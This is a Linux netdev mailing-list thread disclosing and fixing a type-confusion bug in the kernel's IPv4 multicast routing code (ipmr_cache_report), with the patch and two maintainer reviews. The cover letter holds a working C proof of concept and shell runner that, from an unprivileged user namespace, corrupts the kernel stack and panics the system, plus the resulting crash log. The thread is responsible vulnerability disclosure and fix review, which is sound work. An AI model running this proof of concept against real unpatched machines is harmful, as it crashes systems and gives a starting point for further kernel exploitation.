Netdev List
 help / color / mirror / Atom feed
* [PATCH net v4 0/1] ipmr: only copy pktinfo to cache reports
@ 2026-09-03  6:38 Zhiling Zou
  2026-09-03  6:38 ` [PATCH net v4 1/1] " Zhiling Zou
  0 siblings, 1 reply; 4+ messages in thread
From: Zhiling Zou @ 2026-09-03  6:38 UTC (permalink / raw)
  To: idosch, netdev
  Cc: dsahern, davem, edumazet, pabeni, horms, leone4fernando, vega,
	zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/ipmr.c. The bug is
reachable by a non-root user after creating user and net namespaces with
namespace-local CAP_NET_ADMIN and CAP_NET_RAW.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ipmr_get_route() can clone a synthetic RTM_GETROUTE skb for an unresolved
multicast route and store the requester portid in NETLINK_CB(skb).portid
before queuing it to the unresolved multicast route path.

ipmr_cache_report() later builds a short IGMP report for the raw mroute
socket. To support IP_PKTINFO, it calls ipv4_pktinfo_prepare() on the
original packet and copies the original packet's entire control buffer
to the report skb.

For synthetic route-query packets, that copies NETLINK_CB bytes into a
skb that the raw IPv4 receive path interprets as IPCB. The requester
portid overlaps IPCB(skb)->opt fields. With IP_RECVOPTS or IP_RETOPTS
enabled on the mroute socket, those corrupted option fields can make the
receive path copy beyond the short report packet or overflow the fixed
stack option buffer in ip_options_echo().

The WHOLEPKT/WRVIFWHOLE path has a related leak. skb_realloc_headroom()
inherits the original IPCB, then prepends a 20-byte header with ihl = 5.
Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts() copy bytes
from after that header as IP_RECVOPTS.

The fix keeps IP_PKTINFO support by copying only the pktinfo fields
prepared by ipv4_pktinfo_prepare() on the short-report path, and clears
IPCB(skb)->opt when the WHOLEPKT header is prepended.

Reproducer:

    make
    ./poc.sh namespace

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu

mode="${1:-root}"

sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true
sysctl -w kernel.printk="7 4 1 7" >/dev/null 2>&1 || true

make clean
make

case "$mode" in
root)
	exec ./poc
	;;
namespace)
	exec unshare -Urn --map-root-user ./poc
	;;
*)
	echo "usage: $0 [root|namespace]" >&2
	exit 1
	;;
esac

------END poc.sh--------

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define DEV_NAME "jwq0"
#define DEV_ADDR "10.23.0.1/24"
#define SRC_ADDR "10.23.0.2"
#define DST_ADDR "239.1.2.3"
#define NETLINK_PORTID 0x000f0001U

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
	exit(EXIT_FAILURE);
}

static void die_errno(const char *msg)
{
	die("%s: %s", msg, strerror(errno));
}

static void run_cmd(const char *fmt, ...)
{
	char cmd[512];
	va_list ap;
	int rc;

	va_start(ap, fmt);
	vsnprintf(cmd, sizeof(cmd), fmt, ap);
	va_end(ap);

	printf("[cmd] %s\n", cmd);
	fflush(stdout);
	rc = system(cmd);
	if (rc != 0)
		die("command failed (%d): %s", rc, cmd);
}

static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
		      const void *data, size_t alen)
{
	size_t len = RTA_LENGTH(alen);
	size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
	struct rtattr *rta;

	if (newlen > maxlen)
		die("netlink attribute overflow");

	rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = len;
	memcpy(RTA_DATA(rta), data, alen);
	nlh->nlmsg_len = newlen;
}

static int create_dummy_interface(void)
{
	unsigned int ifindex;

	run_cmd("ip link del %s 2>/dev/null || true", DEV_NAME);
	run_cmd("ip link set lo up");
	run_cmd("ip link add %s type dummy", DEV_NAME);
	run_cmd("ip addr add %s dev %s", DEV_ADDR, DEV_NAME);
	run_cmd("ip link set %s up", DEV_NAME);

	ifindex = if_nametoindex(DEV_NAME);
	if (!ifindex)
		die_errno("if_nametoindex(" DEV_NAME ")");

	printf("[*] %s ifindex=%u\n", DEV_NAME, ifindex);
	return (int)ifindex;
}

static int setup_mroute_socket(int ifindex)
{
	struct vifctl vif = {
		.vifc_vifi = 0,
		.vifc_flags = VIFF_USE_IFINDEX,
		.vifc_threshold = 1,
		.vifc_rate_limit = 0,
		.vifc_lcl_ifindex = ifindex,
	};
	int opt = 1;
	int fd;

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (fd < 0)
		die_errno("socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)");

	if (setsockopt(fd, SOL_IP, IP_RETOPTS, &opt, sizeof(opt)) < 0)
		die_errno("setsockopt(IP_RETOPTS)");

	if (setsockopt(fd, IPPROTO_IP, MRT_INIT, &opt, sizeof(opt)) < 0)
		die_errno("setsockopt(MRT_INIT)");

	if (setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vif, sizeof(vif)) < 0)
		die_errno("setsockopt(MRT_ADD_VIF)");

	printf("[*] mroute socket ready on vif ifindex=%d\n", ifindex);
	return fd;
}

static int setup_netlink_socket(void)
{
	struct sockaddr_nl local = {
		.nl_family = AF_NETLINK,
		.nl_pid = NETLINK_PORTID,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die_errno("socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)");

	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die_errno("bind(AF_NETLINK)");

	printf("[*] netlink portid=0x%08x\n", NETLINK_PORTID);
	printf("[*] portid bytes: optlen=%u srr=%u rr=%u ts=%u\n",
	       NETLINK_PORTID & 0xff,
	       (NETLINK_PORTID >> 8) & 0xff,
	       (NETLINK_PORTID >> 16) & 0xff,
	       (NETLINK_PORTID >> 24) & 0xff);
	return fd;
}

static void trigger_getroute(int nl_fd, int ifindex)
{
	struct {
		struct nlmsghdr nlh;
		struct rtmsg rtm;
		char buf[256];
	} req;
	struct sockaddr_nl kernel = {
		.nl_family = AF_NETLINK,
	};
	struct iovec iov = {
		.iov_base = &req,
		.iov_len = sizeof(req),
	};
	struct msghdr msg = {
		.msg_name = &kernel,
		.msg_namelen = sizeof(kernel),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct in_addr src;
	struct in_addr dst;

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
	req.nlh.nlmsg_type = RTM_GETROUTE;
	req.nlh.nlmsg_flags = NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 1;
	req.rtm.rtm_family = AF_INET;
	req.rtm.rtm_dst_len = 32;
	req.rtm.rtm_src_len = 32;

	if (inet_pton(AF_INET, SRC_ADDR, &src) != 1)
		die("inet_pton failed for %s", SRC_ADDR);
	if (inet_pton(AF_INET, DST_ADDR, &dst) != 1)
		die("inet_pton failed for %s", DST_ADDR);

	addattr_l(&req.nlh, sizeof(req), RTA_SRC, &src, sizeof(src));
	addattr_l(&req.nlh, sizeof(req), RTA_DST, &dst, sizeof(dst));
	addattr_l(&req.nlh, sizeof(req), RTA_IIF, &ifindex, sizeof(ifindex));

	iov.iov_len = req.nlh.nlmsg_len;

	printf("[*] sending RTM_GETROUTE for %s -> %s on ifindex %d\n",
	       SRC_ADDR, DST_ADDR, ifindex);
	fflush(stdout);
	if (sendmsg(nl_fd, &msg, 0) < 0)
		die_errno("sendmsg(RTM_GETROUTE)");
}

static void receive_report(int mrt_fd)
{
	char payload[512];
	char control[4096];
	struct iovec iov = {
		.iov_base = payload,
		.iov_len = sizeof(payload),
	};
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
	};
	ssize_t n;

	printf("[*] waiting for mroute report; recvmsg should crash in IP_RETOPTS\n");
	fflush(stdout);
	n = recvmsg(mrt_fd, &msg, 0);
	if (n < 0)
		die_errno("recvmsg(mroute_sk)");

	printf("[!] recvmsg returned %zd bytes without crashing\n", n);
}

int main(void)
{
	int ifindex;
	int mrt_fd;
	int nl_fd;

	printf("[*] ipmr_cache_report type-confusion trigger\n");
	printf("[*] expected rr copy length comes from first byte of %s (%u)\n",
	       DST_ADDR, 239U);

	ifindex = create_dummy_interface();
	mrt_fd = setup_mroute_socket(ifindex);
	nl_fd = setup_netlink_socket();

	trigger_getroute(nl_fd, ifindex);
	receive_report(mrt_fd);

	close(nl_fd);
	close(mrt_fd);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  195.459259] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.460787] CPU: 2 UID: 1028 PID: 1307 Comm: poc Not tainted 6.12.95 #1
[  195.461640] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  195.463100] Call Trace:
[  195.463432]  <TASK>
[  195.463733]  panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:955 (discriminator 1))
[  195.464178]  ? ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.464769]  __stack_chk_fail (/home/roxy/linux-block-patch/build/../kernel/panic.c:1195 (discriminator 1))
[  195.465309]  ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.465878]  ? __skb_datagram_iter (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:2533 /home/roxy/linux-block-patch/build/../net/core/datagram.c:394)
[  195.466458]  ? __pfx_simple_copy_to_iter+0x10/0x10
[  195.467091]  ? ____sys_recvmsg+0x98/0x1d0
[  195.467633]  ? ___sys_recvmsg+0x91/0xe0
[  195.468154]  ? srso_alias_return_thunk+0x5/0xfbef5
[  195.468802]  ? __sys_recvmsg+0x83/0xe0
[  195.469305]  ? do_syscall_64+0x58/0x120
[  195.469824]  ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  195.470498]  </TASK>
[  195.470983] Kernel Offset: disabled

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  ipmr: only copy pktinfo to cache reports

 net/ipv4/ipmr.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH net v4 1/1] ipmr: only copy pktinfo to cache reports
  2026-09-03  6:38 [PATCH net v4 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
@ 2026-09-03  6:38 ` Zhiling Zou
  2026-09-03  7:20   ` Eric Dumazet
  2026-09-03 11:30   ` Ido Schimmel
  0 siblings, 2 replies; 4+ messages in thread
From: Zhiling Zou @ 2026-09-03  6:38 UTC (permalink / raw)
  To: idosch, netdev
  Cc: dsahern, davem, edumazet, pabeni, horms, leone4fernando, vega,
	zhilinz

ipmr_cache_report() builds short IGMP reports for mrouted from a packet
that may be a synthetic RTM_GETROUTE query. That query skb stores the
netlink requester portid in NETLINK_CB(), but the report is delivered to
a raw IPv4 socket, whose receive path interprets skb->cb as IPCB().

Commit bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP
msg") added IP_PKTINFO support by calling ipv4_pktinfo_prepare() on the
original packet and then copying the entire 48-byte skb control block to
the report skb. For synthetic route-query packets, this copies
NETLINK_CB() bytes into IPCB() and lets a controlled portid corrupt
IPCB(skb)->opt. With IP_RECVOPTS or IP_RETOPTS enabled, the raw socket
receive path can then copy past the short report packet or overflow the
stack option buffer.

Keep the IP_PKTINFO support, but copy only the pktinfo fields prepared
by ipv4_pktinfo_prepare().

The WHOLEPKT/WRVIFWHOLE path is a related leak: skb_realloc_headroom()
inherits the original IPCB, then a 20-byte header with ihl = 5 is
prepended. Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts()
copy bytes from after that header as IP_RECVOPTS. Clear the inherited
IP options when that header is prepended.

This changes the accidental IP_RECVOPTS/IP_RETOPTS behavior for these
cache reports, but that behavior was only a side effect of copying or
inheriting the entire control block and was never intended to work.

Fixes: bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Suggested-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
changes in v4:
- Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
  header, so stale option offsets are not inherited from the original
  packet.
- v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/

changes in v3:
- go back to the v1 scope and stop changing the common path
- remove memset(), since alloc_skb() already clears the control block
- v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/

changes in v2:
- reword the commit message to say the entire 48-byte skb control block is copied
- mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was never intended
- move the pktinfo copy to the common path so both report branches are covered
- v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/

 net/ipv4/ipmr.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
index e5f2b1c6150d2..a4d82a1bfe80f 100644
--- a/net/ipv4/ipmr.c
+++ b/net/ipv4/ipmr.c
@@ -1058,6 +1058,7 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 			     struct sk_buff *pkt, vifi_t vifi, int assert)
 {
 	const int ihl = ip_hdrlen(pkt);
+	struct in_pktinfo *info;
 	struct sock *mroute_sk;
 	struct igmphdr *igmp;
 	struct igmpmsg *msg;
@@ -1102,6 +1103,7 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		ip_hdr(skb)->ihl = sizeof(struct iphdr) >> 2;
 		ip_hdr(skb)->tot_len = htons(ntohs(ip_hdr(pkt)->tot_len) +
 					     sizeof(struct iphdr));
+		memset(&IPCB(skb)->opt, 0, sizeof(IPCB(skb)->opt));
 	} else {
 		/* Copy the IP header */
 		skb_set_network_header(skb, skb->len);
@@ -1113,7 +1115,9 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		msg->im_vif = vifi;
 		msg->im_vif_hi = vifi >> 8;
 		ipv4_pktinfo_prepare(mroute_sk, pkt, false);
-		memcpy(skb->cb, pkt->cb, sizeof(skb->cb));
+		info = PKTINFO_SKB_CB(skb);
+		info->ipi_ifindex = PKTINFO_SKB_CB(pkt)->ipi_ifindex;
+		info->ipi_spec_dst = PKTINFO_SKB_CB(pkt)->ipi_spec_dst;
 		/* Add our header.
 		 * Note that code, csum and group fields are cleared.
 		 */
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net v4 1/1] ipmr: only copy pktinfo to cache reports
  2026-09-03  6:38 ` [PATCH net v4 1/1] " Zhiling Zou
@ 2026-09-03  7:20   ` Eric Dumazet
  2026-09-03 11:30   ` Ido Schimmel
  1 sibling, 0 replies; 4+ messages in thread
From: Eric Dumazet @ 2026-09-03  7:20 UTC (permalink / raw)
  To: Zhiling Zou
  Cc: idosch, netdev, dsahern, davem, pabeni, horms, leone4fernando,
	vega

On Thu, Sep 3, 2026 at 8:38 AM Zhiling Zou <zhilinz@nebusec.ai> wrote:
>
> ipmr_cache_report() builds short IGMP reports for mrouted from a packet
> that may be a synthetic RTM_GETROUTE query. That query skb stores the
> netlink requester portid in NETLINK_CB(), but the report is delivered to
> a raw IPv4 socket, whose receive path interprets skb->cb as IPCB().
>
> Commit bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP
> msg") added IP_PKTINFO support by calling ipv4_pktinfo_prepare() on the
> original packet and then copying the entire 48-byte skb control block to
> the report skb. For synthetic route-query packets, this copies
> NETLINK_CB() bytes into IPCB() and lets a controlled portid corrupt
> IPCB(skb)->opt. With IP_RECVOPTS or IP_RETOPTS enabled, the raw socket
> receive path can then copy past the short report packet or overflow the
> stack option buffer.
>
> Keep the IP_PKTINFO support, but copy only the pktinfo fields prepared
> by ipv4_pktinfo_prepare().
>
> The WHOLEPKT/WRVIFWHOLE path is a related leak: skb_realloc_headroom()
> inherits the original IPCB, then a 20-byte header with ihl = 5 is
> prepended. Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts()
> copy bytes from after that header as IP_RECVOPTS. Clear the inherited
> IP options when that header is prepended.
>
> This changes the accidental IP_RECVOPTS/IP_RETOPTS behavior for these
> cache reports, but that behavior was only a side effect of copying or
> inheriting the entire control block and was never intended to work.
>
> Fixes: bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Suggested-by: Eric Dumazet <edumazet@google.com>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---

Reviewed-by: Eric Dumazet <edumazet@google.com>

Thanks!

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net v4 1/1] ipmr: only copy pktinfo to cache reports
  2026-09-03  6:38 ` [PATCH net v4 1/1] " Zhiling Zou
  2026-09-03  7:20   ` Eric Dumazet
@ 2026-09-03 11:30   ` Ido Schimmel
  1 sibling, 0 replies; 4+ messages in thread
From: Ido Schimmel @ 2026-09-03 11:30 UTC (permalink / raw)
  To: Zhiling Zou
  Cc: netdev, dsahern, davem, edumazet, pabeni, horms, leone4fernando,
	vega

On Thu, Sep 03, 2026 at 02:38:16PM +0800, Zhiling Zou wrote:
> ipmr_cache_report() builds short IGMP reports for mrouted from a packet
> that may be a synthetic RTM_GETROUTE query. That query skb stores the
> netlink requester portid in NETLINK_CB(), but the report is delivered to
> a raw IPv4 socket, whose receive path interprets skb->cb as IPCB().
> 
> Commit bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP
> msg") added IP_PKTINFO support by calling ipv4_pktinfo_prepare() on the
> original packet and then copying the entire 48-byte skb control block to
> the report skb. For synthetic route-query packets, this copies
> NETLINK_CB() bytes into IPCB() and lets a controlled portid corrupt
> IPCB(skb)->opt. With IP_RECVOPTS or IP_RETOPTS enabled, the raw socket
> receive path can then copy past the short report packet or overflow the
> stack option buffer.
> 
> Keep the IP_PKTINFO support, but copy only the pktinfo fields prepared
> by ipv4_pktinfo_prepare().
> 
> The WHOLEPKT/WRVIFWHOLE path is a related leak: skb_realloc_headroom()
> inherits the original IPCB, then a 20-byte header with ihl = 5 is
> prepended. Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts()
> copy bytes from after that header as IP_RECVOPTS. Clear the inherited
> IP options when that header is prepended.
> 
> This changes the accidental IP_RECVOPTS/IP_RETOPTS behavior for these
> cache reports, but that behavior was only a side effect of copying or
> inheriting the entire control block and was never intended to work.
> 
> Fixes: bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")

The bug in the IGMPMSG_WHOLEPKT/IGMPMSG_WRVIFWHOLE path is older:

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")

> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Suggested-by: Eric Dumazet <edumazet@google.com>
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
> changes in v4:
> - Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
>   header, so stale option offsets are not inherited from the original
>   packet.
> - v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/
> 
> changes in v3:
> - go back to the v1 scope and stop changing the common path
> - remove memset(), since alloc_skb() already clears the control block
> - v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/
> 
> changes in v2:
> - reword the commit message to say the entire 48-byte skb control block is copied
> - mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was never intended
> - move the pktinfo copy to the common path so both report branches are covered
> - v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/
> 
>  net/ipv4/ipmr.c | 6 +++++-
>  1 file changed, 5 insertions(+), 1 deletion(-)
> 
> diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
> index e5f2b1c6150d2..a4d82a1bfe80f 100644
> --- a/net/ipv4/ipmr.c
> +++ b/net/ipv4/ipmr.c
> @@ -1058,6 +1058,7 @@ static int ipmr_cache_report(const struct mr_table *mrt,
>  			     struct sk_buff *pkt, vifi_t vifi, int assert)
>  {
>  	const int ihl = ip_hdrlen(pkt);
> +	struct in_pktinfo *info;
>  	struct sock *mroute_sk;
>  	struct igmphdr *igmp;
>  	struct igmpmsg *msg;
> @@ -1102,6 +1103,7 @@ static int ipmr_cache_report(const struct mr_table *mrt,
>  		ip_hdr(skb)->ihl = sizeof(struct iphdr) >> 2;
>  		ip_hdr(skb)->tot_len = htons(ntohs(ip_hdr(pkt)->tot_len) +
>  					     sizeof(struct iphdr));
> +		memset(&IPCB(skb)->opt, 0, sizeof(IPCB(skb)->opt));
>  	} else {
>  		/* Copy the IP header */
>  		skb_set_network_header(skb, skb->len);
> @@ -1113,7 +1115,9 @@ static int ipmr_cache_report(const struct mr_table *mrt,
>  		msg->im_vif = vifi;
>  		msg->im_vif_hi = vifi >> 8;
>  		ipv4_pktinfo_prepare(mroute_sk, pkt, false);

pkt can continue in the data path and ipv4_pktinfo_prepare() will
overwrite IPCB(pkt)->iif with 0 if PKTINFO is disabled on the mroute
socket.

That's why I asked to try the following diff [1]. It also makes sure
that the PKTINFO reported for IGMPMSG_WHOLEPKT/IGMPMSG_WRVIFWHOLE
asserts is prepared with ipv4_pktinfo_prepare(), like in the other path.

diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
index 1d9a4ac14fce..cdc84eb05c79 100644
--- a/net/ipv4/ipmr.c
+++ b/net/ipv4/ipmr.c
@@ -1057,6 +1057,7 @@ static void ipmr_cache_resolve(struct net *net, struct mr_table *mrt,
 static int ipmr_cache_report(const struct mr_table *mrt,
 			     struct sk_buff *pkt, vifi_t vifi, int assert)
 {
+	unsigned char pkt_cb[sizeof(pkt->cb)];
 	const int ihl = ip_hdrlen(pkt);
 	struct sock *mroute_sk;
 	struct igmphdr *igmp;
@@ -1112,8 +1113,6 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		msg = (struct igmpmsg *)skb_network_header(skb);
 		msg->im_vif = vifi;
 		msg->im_vif_hi = vifi >> 8;
-		ipv4_pktinfo_prepare(mroute_sk, pkt, false);
-		memcpy(skb->cb, pkt->cb, sizeof(skb->cb));
 		/* Add our header.
 		 * Note that code, csum and group fields are cleared.
 		 */
@@ -1124,6 +1123,12 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		skb->transport_header = skb->network_header;
 	}
 
+	memcpy(pkt_cb, pkt->cb, sizeof(pkt_cb));
+	ipv4_pktinfo_prepare(mroute_sk, pkt, false);
+	memset(skb->cb, 0, sizeof(skb->cb));
+	*PKTINFO_SKB_CB(skb) = *PKTINFO_SKB_CB(pkt);
+	memcpy(pkt->cb, pkt_cb, sizeof(pkt_cb));
+
 	igmpmsg_netlink_event(mrt, skb);
 
 	/* Deliver to mrouted */

[1] https://lore.kernel.org/netdev/20260805081737.GA1284302@shredder/

> -		memcpy(skb->cb, pkt->cb, sizeof(skb->cb));
> +		info = PKTINFO_SKB_CB(skb);
> +		info->ipi_ifindex = PKTINFO_SKB_CB(pkt)->ipi_ifindex;
> +		info->ipi_spec_dst = PKTINFO_SKB_CB(pkt)->ipi_spec_dst;
>  		/* Add our header.
>  		 * Note that code, csum and group fields are cleared.
>  		 */
> -- 
> 2.43.0
> 

^ permalink raw reply related	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-09-03 11:31 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-03  6:38 [PATCH net v4 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
2026-09-03  6:38 ` [PATCH net v4 1/1] " Zhiling Zou
2026-09-03  7:20   ` Eric Dumazet
2026-09-03 11:30   ` Ido Schimmel

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox